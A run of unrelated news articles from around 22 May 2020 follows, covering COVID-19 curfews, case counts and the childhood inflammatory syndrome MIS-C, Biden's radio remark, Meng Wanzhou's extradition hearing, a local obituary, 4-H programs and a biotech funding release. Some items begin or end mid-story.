Pickard Road, closed in late April to replace the top layer of asphalt, reopened Thursday  almost a month before it was scheduled for reopening.

The project closed the street between Bradley and Mission streets, causing an increase in traffic on Broadway, to remove the top layer of asphalt and replace it April 27.

Originally, the project was scheduled to start April 20, but that was pushed back to April 27.

It was originally scheduled for completion around June 12, but that was pushed back to June 19 with the original start date. The May 21 completion date meant that it was finished nearly a month ahead of schedule and still almost three weeks ahead of the original schedule.

In addition to repaving the street, the sidewalk ramps were all made barrier free.

The project generated some controversy last year, when city staff examined whether to turn the four-lane street into three with bike lanes on either side. Doing that is part of the citys non-motorized traffic plan.

City commissioners voted unanimously to scrap the idea in June 2019 after both the Isabella County Road Commission and Michigan Department of Transportation indicated they opposed it. A number of Mt. Pleasant residents also voiced opposition.

In Mt. Pleasants draft new master plan, Pickard would be used as a ring road to divert traffic off High Street and around the city.

The Michigan Department of Transportation currently has Pickard Road from Mission to U.S. 127 scheduled for reconstruction in 2023 in its five-year plan.

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Source: Xinhua| 2020-05-22 19:22:51|Editor: huaxia

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COLOMBO, May 22 (Xinhua) -- Sri Lankan authorities said on Friday that a nationwide curfew will be imposed in the country on May 24-25 to prevent public movement on roads amid the COVID-19 outbreak which has so far infected over 1,000 people in the country.

A statement from the President's Office said an existing curfew in the capital Colombo and on the outskirts of Gampaha, which was imposed on March 24, would continue until further notice, while a countrywide curfew would come into effect on May 24-25.

May 25 has been declared as a public holiday in the country as the minority Muslims commemorate the Eid festival, marking the end of the Muslim holy month of Ramadan.

The statement said that in other districts, apart from Colombo and Gampaha, curfew will be imposed from 8 p.m. to 5 a.m. daily from May 25 until further notice. Colombo and Gampaha, however, would be open for economic activities despite the curfew but all activities would remain shut on May 24-25.

Sri Lanka has so far recorded over 1,000 COVID-19 infected patients out of which over 600 have recovered and been discharged.

Nine deaths from the virus have been reported in the country.

Authorities earlier this week said that discussions were underway to restore normalcy in the country soon. Enditem
Rio de Janeiro (AFP) - The novel coronavirus death toll in Brazil surpassed 20,000 on Thursday, after a record number of fatalities in a 24-hour period, the health ministry said.

The country is the epicenter of the outbreak in Latin America, and its highest one-day toll of 1,188 pushed the overall death tally to 20,047.

Brazil has now recorded more than 310,000 cases, with experts saying a lack of testing means the real figures are probably much higher.

With its curve of infections and deaths rising sharply, the country of 210 million ranks third in the world in terms of total cases, behind the United States and Russia.

The death toll -- the sixth highest in the world -- has doubled in just 11 days, according to ministry data.

Despite the worrying spread of the disease, far-right President Jair Bolsonaro on Thursday continued his calls to scrap lockdown measures to revive a flagging economy.

But almost all of the country's 27 states are under some sort of lockdown order, though Brazilians are wearying of the restrictions in place since the end of March.

- 'Bolsonarovirus' -

Sao Paulo state, the economic and cultural capital of Brazil, is by far the most affected, with about a quarter of the country's deaths and infections.

Sao Paulo Governor Joao Doria, who has clashed often with the president over containment measures, has said the country has to fight both coronavirus and "Bolsonarovirus."

But Bolsonaro and the governors sounded a conciliatory note Thursday as they held a video conference on coordinating the response to the pandemic.

The president called it "a great victory for the Brazilian people."

Doria, for his part, urged unity.

"Brazil needs to be united. If we're at war, we all face defeat. Let's go together in peace, Mr President, together for Brazil," he said.

Hospitals in Sao Paulo, Rio de Janeiro and various states across northern and northeastern Brazil are near collapse.

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The authorities have been racing to set up field hospitals with more beds, but are struggling to build them fast enough.

- 'At war' -

Bolsonaro, who has famously compared the virus to a "little flu," appears to have pinned his hopes on the anti-malaria drugs chloroquine and hydroxychloroquine to stop it.

He has gone through two health ministers since the pandemic began, and the crucial ministry is now in the hands of an interim, army general Eduardo Pazuello.

The last health minister, Nelson Teich, resigned last week after less than a month on the job, reportedly after clashing with Bolsonaro over the president's insistence on widespread chloroquine and hydroxychloroquine use.

The drugs have shown inconclusive results against coronavirus, and scientists say further studies are needed to determine whether they are safe and effective for COVID-19.

But like his US counterpart Donald Trump, to whom he is often compared, Bolsonaro sees them as potential wonder drugs.

No sooner was Teich out the door than Bolsonaro's government recommended Wednesday that all COVID-19 patients receive one of the drugs as soon as they show symptoms.

"There is still no scientific proof, but (chloroquine) is being monitored and used in Brazil and around the world," Bolsonaro tweeted afterward.

"We are at war."
The serviceman was rushed to a hospital and provided medical assistance.

Ukraine's Joint Forces Operation Headquarters (JFO HQ) has said one Ukrainian soldier has sustained a shrapnel wound after Russia's hybrid military forces used an unmanned aerial vehicle to drop on Ukrainian defense positions in Donbas a fragmentation round for a grenade launcher.

"Today, on May 22, Russian-occupation forces once again fired at our defenders near the village of Starohnativka. The enemy dropped from an unmanned aerial vehicle a VOG-17 fragmentation round," the JFO HQ wrote on Facebook on May 22.

Read alsoRussia's armed aggression destroying ecological balance in Donbas

As a result of the attack, a soldier sustained a shrapnel wound. He was rushed to a hospital and provided medical assistance.

Ukraine's Joint Forces delivered an "adequate response".

"Losses among enemy troops are being verified," the report says.
In 1962, President John F. Kennedy recognized the importance of the contributions of the law enforcement community, creating Peace Officers Memorial Day and National Police Week, paying tribute to officers who have lost their lives in the line of duty and for protection of others.

Now, more than ever, we remain grateful and united to those who serve to protect all our communities. Across the country, 49 officers were killed in 2019 responding to domestic violence incidents, serving warrants or investigating cases.

Here at home, we ask much of the officers of the New Mexico State Police in normal times. They are our guardians of public peace and safety, working in virtually every community in our diverse and vast state. Every day they are asked to put themselves in the line of duty to protect each and every New Mexican; this is a duty I know they do not take lightly.

Now, State Police officers are asked to do even more; their duty to our state means they are on the front lines of COVID-19 every single day, on every single call.

While many in New Mexico remain united in support for our law enforcement, a few vocal individuals have chosen to demonize the brave men and women of the State Police. Some public officials have gone to the extreme to compare the work of our State Police to the crimes of the Holocaust or the tragedies of Kent State. This rhetoric of violence and fear is clearly designed to spread divisive politics rather than protect the health and safety of New Mexican families.

Dangerous rhetoric should not fuel the already dangerous environment for our law enforcement community. I cannot and will not stand by as officials characterize law enforcement officers as agents of tyranny. Our communities have made substantial progress during this difficult time, and officers deserve better.

I stand by them in asking all New Mexicans to honor the recognition of President Kennedy and the sacrifices that our officers make every day. I know the overwhelming majority of New Mexicans stand in unity with them, and I trust we will all work together to keep our communities safe.
Police have arrested one Obinna Anusiem from Umuima Atta in Njaba Local Government Area of Imo state, for allegedly faking the kidnap of his wife, Chinyere and two children.

Obinna, 34, was among the 28 suspects arrested by the Police Command in Imo and paraded in Owerri on Friday for alleged various crimes.

Speaking with newsmen, the new Commissioner of Police (CP) in the state, Mr Isaac Akinmoyede, said the suspect reported at Njaba Police Station that his wife and two children were kidnapped on April 12 by his cousin, Okechukwu Anusie.

Akinmoyede, however, said that upon discreet investigation by the Anti-Kidnapping Unit, it was discovered that the suspect (complainant) was actually behind the purported aduction.

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According to him, it was further discovered that the suspect hid his wife and children in his in-laws house in Okwudor community in the area.

The police chief said: He hid them there and maliciously accused Okechukwu of kidnapping them because of land dispute and other family misunderstandings.

He has confessed to committing the crime. The suspect will soon appear in court.

Read Also: Police Prohibit Prayers On Eid Grounds In Plateau

The suspect said that he faked the kidnap to punish his cousin who he accused of selling their family land and diverting the proceeds to his personal account without giving him a dime.

I did not kidnap my wife and children. I only took them to my wifes place because I want the police to arrest him for selling our land. Please forgive me, Obinna said.

He said, Imo is peaceful. I met a peaceful atmosphere when I came but I will not allow any criminal to operate freely in the state. (NAN)
The coronavirus known as SARS-CoV-2, shown in purple, infects a cell, colored in green. (The coronavirus known as SARS-CoV-2, shown in purple, infects a cell, colored in green. )

One of the few silver linings of the novel coronavirus is that it mostly spares kids.

Or so we thought.

Children can become infected with the virus that causes COVID-19, but kids younger than 18 generally have fewer and less severe symptoms than adults, and many experience no symptoms at all according to the Centers for Disease Control and Prevention .

Less than 2% of confirmed cases have been diagnosed in children, and a report this week in the Journal of the American Medical Assn. suggests they may be less susceptible than adults because the cells in their nasal cavities produce fewer of the receptors that the coronavirus needs to begin its assault.

However, in the past few weeks doctors in the U.S. and Europe have discovered that among a small percentage of kids, the coronavirus can trigger a rare but serious inflammatory response up to three weeks after the initial viral infection is over. Health officials are calling it multi-system inflammatory syndrome in children, or MIS-C.

Children who develop MIS-C experience a range of symptoms that can include a high fever that persists for four or five days, rash, red eyes, red lips or tongue, red or swollen hands or feet, low blood pressure, unusual abdominal pain and persistent diarrhea.

If your child is experiencing any of these symptoms, call a doctor immediately.

"What we are learning is that some of these children are getting very ill rapidly, said Dr. Jackie Szmuszkovicz , a pediatric cardiologist at Childrens Hospital of Los Angeles. I want to encourage parents that if they are concerned about their child they contact their pediatrician and not delay care.

While MIS-C is a serious disease that generally requires ICU care, treatments have mostly been successful.

And to reiterate: MIS-C is a very infrequent complication of COVID-19.

Not everyone who gets COVID gets it, said Dr. Karin Nielsen , a pediatric infectious disease specialist at UCLA. Even in New York, which had a very large portion of the population becoming infected with coronavirus, MIS-C was not overwhelming.

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Kids with MIS-C can have some of the same symptoms of those suffering from Kawasaki disease, a rare inflammatory disease that affects about 5,500 children in the United States a year. Researchers now believe that some children diagnosed with Kawasaki disease between January and May might have actually had MIS-C instead.

There is no diagnostic test for Kawasaki disease, but its symptoms also include high fever, rash and swelling of the hands and feet. It can also cause inflammation of the walls of arteries, which can result in coronary artery enlargement, or aneurysms.

In some ways, the delayed inflammatory response seen in kids with MIS-C mirrors what happens in adults who become acutely ill with COVID-19.

"Adults don't usually get acutely sick in the first week of illness  usually they get a little better and then get really sick in the third week," Nielsen said.

She noted that for adults this severe inflammation shows up primarily in the lungs, while in kids it seems to be more system-wide.

"It's not exactly the same, but both seem to be related to the dysregulated immune response," she said.

MIS-C is a new disease and doctors are learning more about it every day. Szmuszkovicz and Nielsen spoke to the Los Angeles Times about what researchers know so far, why medical professionals only became aware of it recently, and what they hope to learn about it in the coming weeks and months.

How was MIS-C first discovered?

Nielsen: It was first noticed in the United Kingdom, about a month after the big surge in COVID disease there. Doctors noticed a larger number of Kawasaki disease-like cases in children, as well as kids who had symptoms of toxic shock syndrome.

As the epidemic progressed, there was another large caseload of children in New York City who were showing these symptoms as well. As people started looking at this more closely, it became evident it wasnt typical Kawasaki disease. Thats when this condition became recognized as a separate entity called multi-system inflammatory syndrome in children.

Szmuszkovicz: At Childrens Hospital LA we had an unusual uptick in the number of cases of a syndrome that appeared very similar to Kawasaki disease in the month of April. We had nine patients in April, and usually we will have none or maybe two.

Then we heard about patients in the U.K. and New York  some looked like they had Kawasaki and some were more on the spectrum of shock, or even toxic shock syndrome. It seemed there was an inflammatory process going on that might be potentially associated with COVID-19.

How is MIS-C different from Kawasaki disease?

Szmuszkovicz: What we are seeing is a real range in the symptoms of MIS-C disease. In some patients the inflammation looks more like Kawasaki disease; on the other end of the spectrum it looks more like a shock patient.

We are also learning that some of the MIS-C children are getting very ill rapidly, which is very unusual in Kawasaki disease.

Nielsen: Kawasaki disease is an inflammatory illness of the blood vessels usually seen in children under the age of 5 and as young as 3 to 6 months. But after the age of 10 or 11, it is very rare. MIS-C can occur in adolescents, but the mean age has been around 8 years.

Why did it take medical professionals so long to notice MIS-C?

Szmuszkovicz: It is not unusual for us to have more cases of Kawasaki disease in the winter months, so nothing seemed different, even through March. But April was unusual, and thats when we started saying something is different.

Weve been testing our patients for acute COVID-19 disease, and none of them had that. I think it was only recently that we realized that the virus might be a trigger for the inflammatory response, and that was the reason we were seeing an uptick in cases. Now we are going back to test all Kawasaki disease patients from Jan. 1 for antibodies for the coronavirus.

Nielsen: We havent seen any publications from China on this syndrome; it was first described in the U.K. Also, there is a one-month lag behind peak COVID infections and the development of these cases in these children. Thats what we are seeing in N.Y.  the MIS-C cases began to surge four weeks after the big surge of COVID cases there.

Also, this condition is rare. Its not like every child who has COVID has this condition. But because you have a very large number of cases, the denominator is so huge that you are going to see the rare cases more.

How do you treat it?

Nielsen: The treatment for this has been ICU supportive care. Most centers are treating it like they would Kawasaki disease. Kids are given a high dose of intravenous immunoglobulin that controls for the dysregulated immune response. If they dont improve, some centers are giving a second dose. They are also given aspirin as an anti-inflammatory agent. Some centers will also treat with steroids and cytokine blockers.

Szmuszkovicz: Our treatment is focused on anti-inflammatory therapy and preventing clots.

It includes intravenous immunoglobulin, and we also use anticoagulation and antiplatelet agents to prevent clotting problems. In some patients we are using steroids, in others we are using immune system modulators.

Have treatments been effective?

Szmuszkovicz: Three of the four antibody-positive patients weve seen are all at home and doing well. The fourth patient was our one patient on the shock end of the spectrum and was quite ill. Thankfully, I can let you know that she is no longer in the intensive care unit and was able to move out to the regular floor. She is doing much better than expected.

Nielsen: If children go to the ICU the vast majority of them will survive. I just listened to a CDC presentation about this, and in one center in New York, all children treated for this had survived and recovered.

There have been two or three cases of death recorded related to this. Its a serious condition, but children are mostly surviving it if they get the adequate care they need.

Are some children at higher risk of getting MIS-C than others?

Nielsen: Not that we know. Kawasaki disease is more common in patients of Asian heritage, however that does not seem to be the case with MIS-C.

Szmuszkovicz: Thats the big question. We dont know the cause of Kawasaki disease. We think there is an antigen trigger that affects genetically susceptible people. Just over the last few decades, there has been exhaustive research testing different infections that might be that trigger.

Now it seems that SARS-CoV-2 [the virus that causes COVID-19] may be one of the various triggers for symptoms that look like Kawasaki in a genetically susceptible host. We are working with centers across the world to collect the data on these kids and share that data to find out if there is a predisposition in certain ethnicities, and what the age range is going to be.

What do you hope to learn about MIS-C going forward?

Nielsen: I think everyone studying this is trying to take a close look at what is triggering this inflammatory response.

We also need to use experimental models to better understand the basics of how this disease process occurs so we can prevent it and treat it adequately.

Szmuszkovicz: Weve been working very closely with the L.A. County Department of Public Health since the first day we noticed something seemed different at the hospital. Now they are conducting a survey of all the hospitals in Los Angeles to get a feel for the numbers of MIS-C cases in Los Angeles.

We are also working with a group of hospitals across the country and world to pool our data and find out how many patients had symptoms similar to toxic shock syndrome, and how many have Kawasaki-type syndrome.

These interviews have been edited for length and clarity.
It was a chance for Joe Biden to connect with a key group of voters who helped him clinch the Democratic presidential nomination and are crucial to his chances in November: an appearance on "The Breakfast Club," a radio show popular with black audiences.

Instead, Biden's remark that African-Americans who vote for President Donald Trump "ain't black" quickly overshadowed the rest of his interview, ricocheting across social media, drawing fire from black Democrats and culminating with the candidate rushing to repair the damage.

"I was much too cavalier. I know that the comments have come off like I was taking the African-American vote for granted. But nothing could be further from the truth," Biden said later in the day, during a virtual appearance with the U.S. Black Chambers, an organization that advocates for black entrepreneurs. "I shouldn't have been such a wise guy."

But the episode offered an uncomfortable reminder that while the presumptive Democratic nominee leads Trump in the polls and has long performed especially well among African-Americans, his relationship with this core constituency still faces tests.

Many African American activists argued that while black voters powered Biden to victory in a competitive primary race, he needs to ensure that the community stays energized for November. And even some Biden backers said they worried that this episode would damage the former vice president's standing.

"It almost came across as if black people need Joe Biden more than Joe Biden needs black people," said Angela Rye, a former staff director for the Congressional Black Caucus and a leading Democratic activist. "This is a party that we've dedicated our votes and our lives to, and we are tired of being taken for granted, treated as invisible or being silenced."

The Trump campaign immediately seized on the comments to try to drive a wedge between Biden and his voting base. By Friday afternoon, the Trump campaign was selling T-shirts that read "#YouAintBlack - Joe Biden."

Trump has a history of racist comments and has long struggled with black voters. But he is hoping to improve his margins in 2020, particularly in swing states like Pennsylvania and Michigan.

His campaign has plans to open field offices in mostly black cities and has encouraged African-Americans to sign up for Trump updates by texting the word "woke" to a campaign number.

Friday's exchange occurred during a contentious interview with host Charlamagne Tha God, who pushed Biden on his record.

When a Biden aide signaled that it was time for the candidate to wrap up his interview, Charlamagne said, "You can't do that to black media." He then told Biden he needed to come back on the show before November because there were more questions for him.

"You got more questions, but I'll tell you, if you have a problem figuring out whether you're for me or Trump, then you ain't black," Biden said.

"It don't have nothing to do with Trump, it has to do with the fact - I want something for my community," Charlamagne said.

In an interview with The Washington Post on Friday afternoon, Charlamagne Tha God said Biden needs to work to win over black voters. "The older black voters know the Joe in the Senate that has assisted black people and has been there for black people," he said. "But we know '94 crime bill Joe. We know '86 crack laws Joe. We know '84 mandatory-minimum sentences Joe. That's what I've come to learn. So he has to win us over."

Within hours, Biden said he regretted the comments. "No one, no one should have to vote for any party based on their race or religion or background," he said on the call with the U.S. Black Chambers. "There are African-Americans who think Trump is worth voting for. . . . I'm prepared to put my record against his, that was the bottom line."

Biden had not planned on personally calling in to the U.S. Black Chambers event - a staff member was going to be on the call, according to a person familiar with the event. But amid the backlash from the comments, the candidate decided to join so he could explain what he meant.

Biden's team is counting on bringing black voters - particularly black men - who supported Trump back to the Democratic Party. Last week during a strategy briefing, the campaign showed a slide outlining how "the Biden coalition will draw from key voting blocks," such as African-American men, which they referred to as "disaffected voters."

Then came Friday's comment.

"Here's the problem with the statement and how it's catching fire on social media: Those disaffected voters that I have been talking about and they are now paying attention to, a statement like this reinforced for them that in fact Democrats do take them for granted," said Cornell Belcher, a Democratic pollster who worked on the Obama campaign.

The Biden campaign "cannot just depend on Trump simply being a racist to energize and move these disaffected voters," Belcher said. "They are going to have to engage them with an issue agenda that speaks to their issues and resonates with their values. And that is where Biden should stay."

A Fox News poll released Thursday found Biden leading Trump, 76 percent to 12 percent, among black voters. Hillary Clinton won about 90 percent of black voters in 2016.

In January, before Biden had largely sewn up the nomination, a Washington Post-Ipsos poll of black voters found that 69 percent had a favorable view of Biden, while 13 percent held an unfavorable opinion. In a matchup with Trump, 82 percent of black registered voters supported Biden, while 4 percent backed Trump.

During the Democratic primary contest, Biden stumbled with black voters several times. He struggled to defend his opposition to busing and his close relations with segregationist senators like Strom Thurmond, whom he eulogized in 2003, and James Eastland.

He also drew fire over the 1994 crime bill, which critics say led to the mass incarceration of blacks. Biden defended the legislation on the campaign trail but said he never supported the "three strikes" provision that sent many to prison.

But Biden seemed to move past those challenges thanks to support from key black lawmakers like Rep. James Clyburn, D-S.C., whose endorsement days before the South Carolina primary helped deliver the state to him - a decisive victory that prompted other rivals to leave the race and line up behind him.

Biden has said that his Cabinet would be diverse, that he would appoint a black woman the Supreme Court and that he's considering several black women as potential running mates.

But his comments Friday highlight an underlying disconnect between him and black voters, adding more pressure to select an African-American vice president.

"African-American voters picked Joe Biden to be the Democratic nominee for many of these same reasons that Barack Obama picked Biden to be vice president - because he was the person who they thought would resonate with a part of the electorate that most black candidates don't," said Jamal Simmons, a black Democratic strategist who has a show on Instagram. "African-Americans know the dark side of American culture better than most white Americans do."

Simmons added that Biden "can be a little tone deaf" on race. Even his relationship with Obama was not without turbulence.

During the 2008 primary race, Biden described Obama as "the first mainstream African-American who is articulate and bright and clean and a nice-looking guy."

Biden's campaign quickly got together a conference call for him to walk it back. "I really regret some have taken totally out of context my use of the word 'clean,' " he said.

But many Biden supporters defended their candidate Friday, saying his inartful comment pales in comparison with Trump's record.

"I would have said it differently," said Antjuan Seawright, a Democratic strategist based in South Carolina and a former Clyburn aide. "I think the point he was trying to make is that at the end of the day, the agenda of Donald Trump and the Republican Party versus the agenda for the African-American community that Joe Biden has put forth is night and day."

Other Biden supporters pointed to Trump's long history of incendiary comments directed at minority communities, including African-Americans. In his presidency, he's referred to some African nations as "shithole countries," suggested that four congresswomen of color "go back" to where they came from and attacked the late congressman Elijah Cummings' congressional district in Baltimore as a "rat and rodent infested mess."

"Trump is super racist. His campaign & his appeal is built on the perpetuation of white supremacy & white privilege. He stokes white fragility. When a Black person supports him I question their relationship to their Blackness and the community. This is what Biden was alluding to," tweeted Toure, a black writer and commentator.

- - -

The Washington Post's Matt Viser and Scott Clement contributed to this report.
BETHESDA, MD  The number of confirmed coronavirus cases in Montgomery County surpassed 9,400 on Friday, according to Maryland health officials, while the death toll from the disease has topped 500.

As the state's most populous jurisdiction, Montgomery County now has a total of 9,432 cases. That's an increase of 172 positive infections from the previous day.

The local death toll now stands at 502. A day earlier, it was 491.

Another 38 people may have died from COVID-19, but were never tested, according to health officials. The state will not add those deaths to the official tally until a laboratory can confirm the virus was the cause of death.

The county, which is home to roughly 1.1 million residents, has the highest number of deaths in the state. It also has the second highest number of confirmed cases, after Prince George's County, which has 13,077, according to the latest figures.

Statewide, there have been 44,424 confirmed cases and 2,092 deaths. An additional 115, health officials believe, may have had COVID-19, but died without ever being tested.

To date, 183,478 people have tested negative for the disease and 3,243 have been released from isolation. Of the 1,329 coronavirus hospital patients currently receiving treatment, 506 are in the Intensive Care Unit (ICU).

Maryland Gov. Larry Hogan lifted his stay-at-home order on May 15, after saying he saw a 14-day downward trend in hospitalizations and deaths.

The Republican governor acknowledged that some parts of the state, like Montgomery County, were not ready to reopen, and let local jurisdictions decide when to lift their coronavirus restrictions.

Montgomery County Executive Marc Elrich says he won't reopen the county until he sees:

A consistent decline over a 14-day period in new cases as more testing is conducted

A sustained decrease in the number of daily deaths

A downward trend in hospitalizations rates (and ICU beds in use)

A sustained decrease in the number of COVID-19 patients going to the ER

Story continues

On Wednesday, the county began releasing coronavirus stats for its reopening benchmarks.

Here's a closer look:

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Courtesy of Montgomery County's Department of Health and Human Services

Montgomery County Testing Sites

On Friday, Montgomery County opened three new testing sites at CVS Pharmacy. Self-swab tests are reserved for people who meet the CDC's coronavirus testing criteria. Patients must register in advance at CVS.com to schedule an appointment.

The CVS drive-thru sites are located at:

7809 Wisconsin Ave., Bethesda

799 Rockville Pike, Rockville

12215 Darnestown Rd., Gaithersburg

Other drive-thru test sites in Montgomery County are located in Wheaton, White Oak, and Germantown.

Here's what you need to know about the facilities and testing process:

They are not an on-demand testing sites (appointments are required)

To determine if you qualify for testing: You must meet coronavirus testing criteria as determined by a licensed health care provider (the provider will fill out an online order for testing through Maryland's CRISP information system)

Once the form is sent, you'll be given instructions on how to make an appointment online

Appointments will be confirmed and an ID number will be provided

Bring your photo ID and appointment number to the testing site

More information about testing can be found here.



This article originally appeared on the Bethesda-Chevy Chase Patch
On Sunday, May 17, 2020, Dolores Pace, 90, loving mother and grandmother, passed away in Lusby, MD. Delores was born in Torrington, Connecticut on May 24,1929 to Forest and Ann Lapotusky Brunett. She married Joseph Pace. Delores worked as a nurse until the birth of her daughter. Dolores had a passion for embroidery and for completing puzzle books. She loved spending time with her friends at the senior center, as well as playing Bingo and other card games with them. She was known for her wonderfully bright personality and for her delicious baked goods. Dolores is survived by her sister,Joy; her grandson, Christian; and her son-in-law, Fernando. Dolores was preceded in death by her sister, Jacqueline; her husband, Joseph and her daughter, Lisa. Please send any floral deliveries to the family residence at 1114 Range Road, Lusby, MD 20657. A committal service will be held at St. John Vianney Catholic Cemetery in Prince Frederick, MD at a later date.
Hamilton County 4-H is offering a wide variety of free online programs this summer to all County residents in grades fourth through 12th. Youth can participate in online conferences and contests, a virtual exchange programs with youth in other states and online meetings featuring hands-on art, STEM lessons and animal programs through 4-H. There is no cost to join 4-H, and you can join at any time.



One activity available for junior high youth is the 4-H Academic Un-Conference, which will take place June 9-11 online. Junior high 4-H members (grades six-eight as of Jan. 1) can experience college life virtually through this program. Youth will work with UT professors, specialists and faculty members to learn in-depth knowledge about a project area that the youth find interesting. The students can also explore careers and network with other 4-H members across the state as they participate in this fun, interactive, hands-on experience. Students or their parents must call the Extension office at 423-855-6113 or email Nancy Rucker, extension agent and county director, at nrucker@tennessee.edu by June 1 in order to sign up. They should also choose one project area for their work. A list of 4-H project areas in Tennessee is available at https://4h.tennessee.edu/Pages/4HProjects.aspx

4-H club meetings will held online about once a month this summer, and all youth in grades fourth-12th are welcome to participate. The first virtual summer 4-H meeting will be Thursday, June 4 at 3 p.m. Join to learn how to create ice cream in a bag and to find out about the virtual dog show coming up later in the summer. For a link to the meeting, email msabin@tennessee.edu.

The 4-H Virtual Exchange Program is open to youth in grades fifth-12th and is limited to 12 youth. This program is a virtual version of the 4-H Interstate Exchange Program, which takes place across the United States every year. In the virtual exchange program, youth have the opportunity to meet new people their age and experience a new place in a positive environment. The Zoom conferencing platform will be used for the exchange trips every two weeks. Youth in the 4-H exchange program will participate in activities online and then have the opportunity to present on their own experiences, including a city/farm tour or sharing 4-H projects and competition experiences. In past exchanges, youth said they enjoyed learning about a different state and making new friends. Email gyoungin@tennessee.edu or msabin@tennessee.edu to sign up for the 4-H Virtual Exchange Program or get more information.



A regional 4-H Wildlife contest is June 30. This is an annual contest which will be held online this year. Youth in grades fourth-12th can learn about 51 different species of animals and how to manage land for wildlife. Youth with an interest in biology, wildlife or hunting will find this program of particular interest. Study material is available online. Contact Extension Agent Maria Sabin at msabin@tennessee.edu to sign up for this contest and be emailed links to study material.



More information on Hamilton County 4-H programs this summer is available at the website of the UT-TSU Extension office for Hamilton County: Hamilton.Tennessee.edu. To register for a 4-H program, call the office at 423-855-6113 or email the 4-H staff: Nancy Rucker, extension agent and county director, at nrucker@tennessee.edu; Maria Sabin, extension agent, at msabin@tennessee.edu; or Gabrielle Younginer, extension agent, at gyoungin@tennessee.edu.
The British Columbia Supreme Court said on May 21 that the key decision on the extradition of Huawei Technologies Chief Financial Officer Meng Wanzhou from Canada to the United States will be announced on May 27. The United States is seeking Meng's extradition over charges related to bank fraud and she is also accused of violating US sanctions on Iran. According to reports, Meng misled HSBC bank about a Huawei Technologies Co Ltd-owned companys dealings with the Islamic country.

Read: UK Lawmakers Challenge Government Over 'high Risk' Huawei

48-year-old Meng has said that she is innocent while her lawyers have argued that the dealing took place at a time when Canada had no sanctions on Iran. The court will decide on double criminality of the case and Meng's lawyer Gary Botting while talking to the press said that if the court rules her actions were not a crime in Canada the case stands no chance going ahead.

Read: China Urges US To Stop 'unreasonable Suppression' Of Tech Giant Huawei

US sanctions on Huawei

The US Commerce Department has hit Huawei with new sanctions restricting foreign manufacturers using American chipmaking equipment to sell chips to the Chinese company. The Commerce Department put Huawei on the list citing national security as the United States has time and again accused the company of spying for the Chinese Communist government. The latest sanctions have put a strain on already deteriorating US-China relations as Beijing has accused Washington of expressing the Chinese tech giant.

The United States had earlier urged its allies to not allow Huawei to install a 5G network in their countries, which both the European Union and the United Kingdom had declined to do so.

Read: Huawei Says Firm Entering 'survival Mode' After Latest US Sanctions

Read: Huawei Says Firm Entering 'survival Mode' After Latest US Sanctions

(Image Credit: AP)


[May 22, 2020] CalciMedica Raises $15 Million in Series C Financing Round Led by Valence Life Sciences

Funds to support ongoing clinical trials in patients with COVID-19 pneumonia and commercial manufacturing of Auxora LA JOLLA, Calif., May 22, 2020 (GLOBE NEWSWIRE) -- CalciMedica Inc. (CalciMedica or the Company), a clinical-stage biotechnology company targeting calcium release-activated calcium (CRAC) channels for the treatment of acute and severe inflammatory diseases, today announced it has raised $15 million in a Series C financing round. The round was led by Valence Life Sciences, LLC with participation from new investors Bering Capital, Mesa Verde Venture Partners and existing investor Sanderling Ventures.

The funds from this Series C financing will go towards advancing ongoing clinical trials evaluating our CRAC channel inhibitor, Auxora (formerly CM4620-IE), in patients with COVID-19 pneumonia requiring oxygen therapy and accelerating commercial manufacturing for the drug, said Rachel Leheny, Ph.D., Chief Executive Officer of CalciMedica. Based on ongoing studies in severe COVID-19 patients, we believe Auxora has the potential to prevent the progression of such patients to mechanical ventilation by acting directly on the lung endothelium and by blocking systemic inflammation. We are encouraged that Valence Life Sciences shares in our desire and commitment to making this fast-acting therapy accessible to patients with COVID-19. Eric Roberts, founding managing director of Valence Life Sciences, added, As investors, we are always looking for companies that have a strong management team advancing a drug candidate that is critical for patients and can really make a difference. We think CalciMedicas Auxora fits that description, with the potential to play a role in combating COVID-19, as well as other acute care diseases, like acute pancreatitis, for which it is also advancing in the clinic. Proceeds from the financing will enable the Company to advance its lead drug candidate, Auxora, a potent and selective small molecule CRAC channel inhibitor that prevents CRAC channel overactivation, while also supporting general corporate purposes. It has been shown that CRAC channel overactivation can cause pulmonary endothelial damage and cytokine storm in COVID-19. The ongoing open-label randomized controlled clinical study is evaluating patients with severe COVID-19 pneumonia on low-flow oxygen therapy in one study arm and patients with critical COVID-19 pneumonia on high-flow oxygen therapy in a second study arm. However, following a strong recommendation from the U.S. Food and Drug Administration, the severe arm of the study is shifting to a blinded, placebo-controlled design, with patients randomized 1:1 to receive Auxora plus standard of care or standard of care alone. Regions Hospital in St. Paul, Minnesota, Henry Ford Hospital in Detroit and additional sites across the U.S have been dosing severe and critical COVID-19 pneumonia patients with Auxora under an Investigational New Drug program (IND).



For more details on the clinical study, visit clinicaltrials.gov. About Auxora (formerly CM4620-IE)

Auxora is a potent and selective small molecule inhibitor of CRAC channels. CRAC channels are found on many cell types, including lung endothelium cells, pancreatic acinar cells and immune system cells, where aberrant activation of these channels may play a key role in the pathobiology of acute and chronic inflammatory syndromes. Auxora is an investigational drug being developed for use in patients with COVID-19 pneumonia and for use in patients with acute pancreatitis and accompanying SIRS. In addition, CalciMedica is exploring other acute indications for Auxora such as viral pneumonia, acute lung injury, ARDS, and acute kidney injury.

About CalciMedica, Inc.

CalciMedica is a privately-held, clinical stage biotechnology company focused on CRAC channel drug discovery and development for the treatment of acute and chronic inflammatory diseases. CRAC channels control the entry of calcium into immune and other cell types, and calcium is an important intracellular signaling molecule that modulates normal cellular function but can be detrimental when levels are too high. CalciMedica is headquartered in San Diego, CA. For more information, please visit the company website at www.calcimedica.com. CalciMedica Contact:

Rachel Leheny, Ph.D.

Chairman and Chief Executive Officer

[email protected]

858-952-5500 Media Contact:

Karen OShea, Ph.D.

LifeSci Communications

[email protected]

929-469-3860

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ASOS and Labour controlled Barnsley Council have flatly rejected appeals made by the GMB union for the closure and deep-cleaning of the companys warehouse following confirmed cases of COVID-19.

The GMB has hundreds of members in the warehouse but is not the officially recognised union due to a sweetheart deal signed by the company with the Community union in 2017.

Acting on information from its members of two confirmed cases of COVID-19, on May 12 the GMB issued an open letter to ASOS and the leader of Barnsley council, Sir Steve Houghton, over safety in the workplace.

